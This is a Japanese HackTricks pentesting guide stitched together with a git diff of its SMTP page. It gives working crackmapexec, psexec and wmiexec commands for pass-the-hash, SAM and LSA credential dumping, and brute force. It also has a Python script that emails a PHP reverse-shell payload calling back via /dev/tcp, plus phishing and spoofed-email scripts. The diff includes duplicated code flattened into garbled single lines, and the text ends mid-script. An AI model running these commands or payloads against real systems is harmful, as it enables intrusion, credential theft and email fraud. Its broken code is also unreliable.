rpcclient -k ws01win10.domain.com
```
### **コマンドの実行**
#### **crackmapexec**
crackmapexecは、**wmiexec**が**デフォルト**のメソッドである**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用するオプションを指定するには、パラメータ`--exec-method`を使用できます:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
#### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
両方のオプションは、被害者のマシンで _\pipe\svcctl_ を介して SMB を使用して**新しいサービスを作成**し、それを使用して**何かを実行**します(**psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指定し、引数にペイロードを入れます --**ファイルレステクニック-**-)。\
[**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)に関する**詳細情報**。\
**Kali** では、/usr/share/doc/python3-impacket/examples/ にあります。
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます
#### [wmiexec](../../windows-hardening/lateral-movement/wmicexec.md)/dcomexec
**ポート135**を介してDCOMを使用してディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスリーに実行します。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証を行うことができます。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
#### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
_タスクスケジューラーを介してコマンドを実行しますSMBを介した_\pipe\atsvc\_を使用。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
### Impacket リファレンス
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### **ユーザー資格情報のブルートフォース**
**これは推奨されません。最大許可された試行回数を超えるとアカウントがブロックされる可能性があります**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
### SMB中継攻撃
この攻撃は、内部ネットワークでResponserツールキットを使用してSMB認証セッションを**キャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功**すると、自動的に**システム**の**シェル**に移行します。\
[**この攻撃に関する詳細情報はこちら。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### SMB-Trap
WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
これは、次の機能で発生します:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
これらは一部のブラウザやツールSkypeなどで使用されています。
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (93).png>)
#### MitMfを使用したSMBTrap
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (94).png>)
### NTLM盗難
SMBトラップと同様に、悪意のあるファイルをターゲットシステムにたとえばSMB経由で配置することで、SMB認証の試行が引き起こされ、NetNTLMv2ハッシュがResponserなどのツールで傍受されます。そのハッシュはオフラインで解読されるか、[SMB中継攻撃](./#smb-relay-attack)で使用されます。
[参照: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
### HackTricks自動コマンド
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,4 +1,4 @@
# 25,465,587 - SMTP/sのペンテスト
# 25,465,587 - Pentesting SMTP/s
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
</details>
@ -22,15 +22,17 @@ HackTricksをサポートする他の方法
## **基本情報**
**Simple Mail Transfer Protocol (SMTP)**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限により、SMTPはしばしば**POP3またはIMAP**と併用されます。これらの追加プロトコルにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることができます。
**Simple Mail Transfer Protocol (SMTP)は、電子メールの送受信に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限により、SMTPはしばしばPOP3またはIMAP**と併用されます。これらの追加プロトコルにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることができます。
実際には、**電子メールプログラム**は通常、**SMTPを使用して電子メールを送信**し、**POP3またはIMAPを使用して受信**します。Unixベースのシステムでは、電子メール用に最も頻繁に使用されるSMTPサーバーとして**sendmail**があります。商用パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションがあります。
**デフォルトポート:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
### EMAIL ヘッダー
もし**被害者にメールを送らせる機会**があれば(たとえばウェブページのお問い合わせフォームを通じて)、それを行ってください。なぜなら、メールのヘッダーを見ることで**被害者の内部トポロジーについて知ることができる**からです。
@ -46,37 +48,46 @@ EICAR テストファイルを送信するべきです。\
### **バナーの取得/基本的な接続**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
SMTPSは、SMTP over SSLまたはSMTP over TLSとしても知られており、SMTP通信を暗号化するために使用されます。SMTPSは、通信の機密性を確保し、データの盗聴や改ざんを防ぐのに役立ちます。SMTPSは、ポート465を使用して通信を行います。
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### 組織のMXサーバーを見つける
- Use `nslookup` to find the MX records of the target domain.
- Run the following command in the terminal:
* Use `nslookup` to find the MX records of the target domain.
* Run the following command in the terminal:
```bash
nslookup -type=mx <target_domain>
```
- This will return a list of MX servers used by the target organization for email communication.
* This will return a list of MX servers used by the target organization for email communication.
```bash
dig +short mx google.com
```
### 列挙
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - 情報漏洩
サーバーがNTLM認証Windowsをサポートしている場合、機密情報バージョンを取得できます。詳細は[**こちら**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
@ -87,11 +98,13 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
または、**nmap** プラグイン `smtp-ntlm-info.nse` を使用してこれを**自動化**します。
### 内部サーバー名 - 情報漏洩
一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド "MAIL FROM" が発行されると自動的に補完し、内部名を漏洩します。
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -110,6 +123,7 @@ EHLO all
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### スニッフィング
パケットからポート25へのパスワードをスニッフィングできるかどうかを確認します
@ -121,6 +135,7 @@ MAIL FROM: me
**認証が常に必要とは限りません**
### RCPT TO
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@ -138,9 +153,11 @@ RCPT TO:admin
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY
VRFYVerifyコマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を検証し、情報収集やユーザー名の列挙に利用することができます。 VRFYコマンドは、セキュリティ上のリスクを伴うため、多くの場合、SMTPサーバーで無効になっています。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@ -156,9 +173,11 @@ VRFY root
VRFY blah
550 blah... User unknown
```
### EXPN
**EXPAND**コマンドは、SMTPサーバーでメーリングリストのメンバーを確認するために使用されます。メーリングリストが有効な場合、サーバーはメンバーのリストを返します。この情報は攻撃者にとって有用であり、潜在的な攻撃対象を特定するのに役立ちます。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@ -175,12 +194,15 @@ EXPN root
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### 自動ツール
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイテーションモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
@ -194,6 +216,7 @@ Nmap: nmap --script smtp-enum-users <IP>
## [コマンド](smtp-commands.md)
### Linuxコンソールからメールを送信
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@ -207,62 +230,57 @@ If you are manually typing in a message:
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Pythonを使用してメールを送信する
<details>
<summary>Pythonコードはこちら</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
\`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
## create message object instance
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
## setup the parameters of the message
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!"
print("[*] Payload is generated : %s" % message)
## payload
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
print("\[\*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()\[0] != 250: print("\[-]Connection Error") exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
## Uncomment if log-in with authencation
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
## server.login(msg\['From'], password)
print("[***]successfully sent email to %s:" % (msg['To']))
```
server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit()
print("\[\*\*\*]successfully sent email to %s:" % (msg\['To']))
````
</details>
## SMTPスマグリング
SMTPスマグリングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした保護に関する詳細については次のセクションを参照してください。SMTPスマグリングについての詳細は以下を参照してください
{% content-ref url="smtp-smuggling.md" %}
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
</div>
## メールスプーフィング対策
@ -272,10 +290,12 @@ SMTPスマグリングの脆弱性により、すべてのSMTP保護をバイパ
### SPF
{% hint style="danger" %}
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com`で**TXTレコード**を作成する代わりに、`domain.com`で**同じ構文**を使用して作成する必要があることを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものをよく見つけることが一般的です。
{% endhint %}
</div>
**Sender Policy Framework**SPFは、メール転送エージェントMTAが、組織が定義した許可されたメールサーバーのリストをクエリして、メールを送信するホストが許可されているかどうかを検証できる仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれます。**ドメイン名を代表してメールを送信することが許可されている**。
@ -325,28 +345,32 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
````
伝統的には、正しい/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否される/信頼されないとマークされる可能性があります**。
ドメインのSPFをチェックするには、[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)のようなオンラインツールを使用できます。
### DKIMDomainKeys Identified Mail
#### DKIMDomainKeys Identified Mail
DKIMは、送信メールに署名を付けるために使用され、外部のメール転送エージェントMTAがDNSからドメインの公開鍵を取得して検証できるようにします。この公開鍵は、ドメインのTXTレコードに格納されています。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
たとえば、鍵をリクエストするには、ドメイン名とセレクタが必要です。これらはメールヘッダー`DKIM-Signature`で見つけることができます。例:`d=gmail.com;s=20120113`。
この情報を取得するためのコマンドは次のようになります:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
#### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARCは、SPFとDKIMプロトコルを基にして電子メールのセキュリティを強化します。特定のドメインからの電子メールの取り扱いに関するポリシーを概説し、認証の失敗に対処する方法や電子メール処理アクションに関するレポートを送信する場所を指示します。
**DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
@ -360,51 +384,45 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### DMARC タグ
| タグ名 | 目的 | サンプル |
| -------- | --------------------------------------------- | ------------------------------- |
| v | プロトコルバージョン | v=DMARC1 |
| pct | フィルタリングされるメッセージの割合 | pct=20 |
| ruf | 法的報告用の報告URI | ruf=mailto:authfail@example.com |
| rua | 集計レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject |
| adkim | DKIMのアライメントモード | adkim=s |
| aspf | SPFのアライメントモード | aspf=r |
**DMARC タグ**
### **サブドメインについては?**
#### **サブドメインについては?**
**[こちら](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**から。\
\*\*[こちら](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)\*\*から。\
送信元のメールアドレスに対して、それぞれのサブドメインごとに独自のSPFレコードを持つ必要があります。\
以下は元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。
> デーモンの質問:サブドメインについてはどうですか?
>
> pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですかいいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
>
> したがって、SPFパブリッシャーへのアドバイスは次のとおりですAレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
デーモンの質問:サブドメインについてはどうですか?
pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですかいいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
したがって、SPFパブリッシャーへのアドバイスは次のとおりですAレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持っている可能性があります。
### **オープンリレー**
#### **オープンリレー**
電子メールを送信する際、スパムとしてフラグ付けされないようにすることは非常に重要です。これは、**受信者に信頼されるリレーサーバー**を使用して実現されることがよくあります。ただし、一般的な課題は、管理者が**どのIP範囲を許可するのが安全か完全に把握していない**可能性があります。この理解の欠如は、SMTPサーバーの設定に誤りを引き起こす可能性があり、セキュリティアセスメントで頻繁に特定されるリスクです。
特に潜在的な顧客や既存の顧客とのコミュニケーションに関する電子メール配信の問題を回避するために、一部の管理者が使用する回避策は、**どのIPアドレスからの接続も許可する**ことです。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash
mynetworks = 0.0.0.0/0
```
以下は、メールサーバーがオープンリレーであるかどうかをチェックするために一般的に使用される`nmap`ツールについてです。これには、このテストを行うために設計された特定のスクリプトが含まれています。`nmap`を使用して、例えばIPが10.10.10.10のポート25でサーバーに対して詳細なスキャンを実行するコマンドは次の通りです
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **ツール**
#### **ツール**
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF および DMARC の設定ミスをチェックします**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **自動的に SPF および DMARC の設定を取得します**
### スプーフィングメールの送信
#### スプーフィングメールの送信
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
@ -413,15 +431,17 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
**またはツールを使用することもできます:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
dkim pythonライブラリを使用している際にエラーが発生した場合は、次のものを使用しても構いません。\
**注意**: これは、何らかの理由でopensslの秘密鍵がdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
@ -439,81 +459,16 @@ zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
**または、手動で行うこともできます:**
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># これは署名されていないメッセージを送信します
</strong><strong>mail("your_email@gmail.com", "テスト件名!", "こんにちは!これはテストです", "From: administrator@victim.com");
</strong></code></pre>
{% endtab %}
\# これは署名されていないメッセージを送信しますmail("your\_email@gmail.com", "テスト件名!", "こんにちは!これはテストです", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message\_html="""\<html>\<body>\<h3>This is a test, not a scam\</h3>\<br />\</body>\</html>"""sender\_domain=sender.split("@")\[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.\*)/\\\1 = "+sender\_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim\_private\_key\_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim\_private\_key\_path} 1024 2> /dev/null")with open(dkim\_private\_key\_path) as fh:dkim\_private\_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message\_html, "html"))msg\["To"] = destinationmsg\["From"] = sendermsg\["Subject"] = subjectheaders = \[b"To", b"From", b"Subject"]msg\_data = msg.as\_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim\_selector="s1"sig = 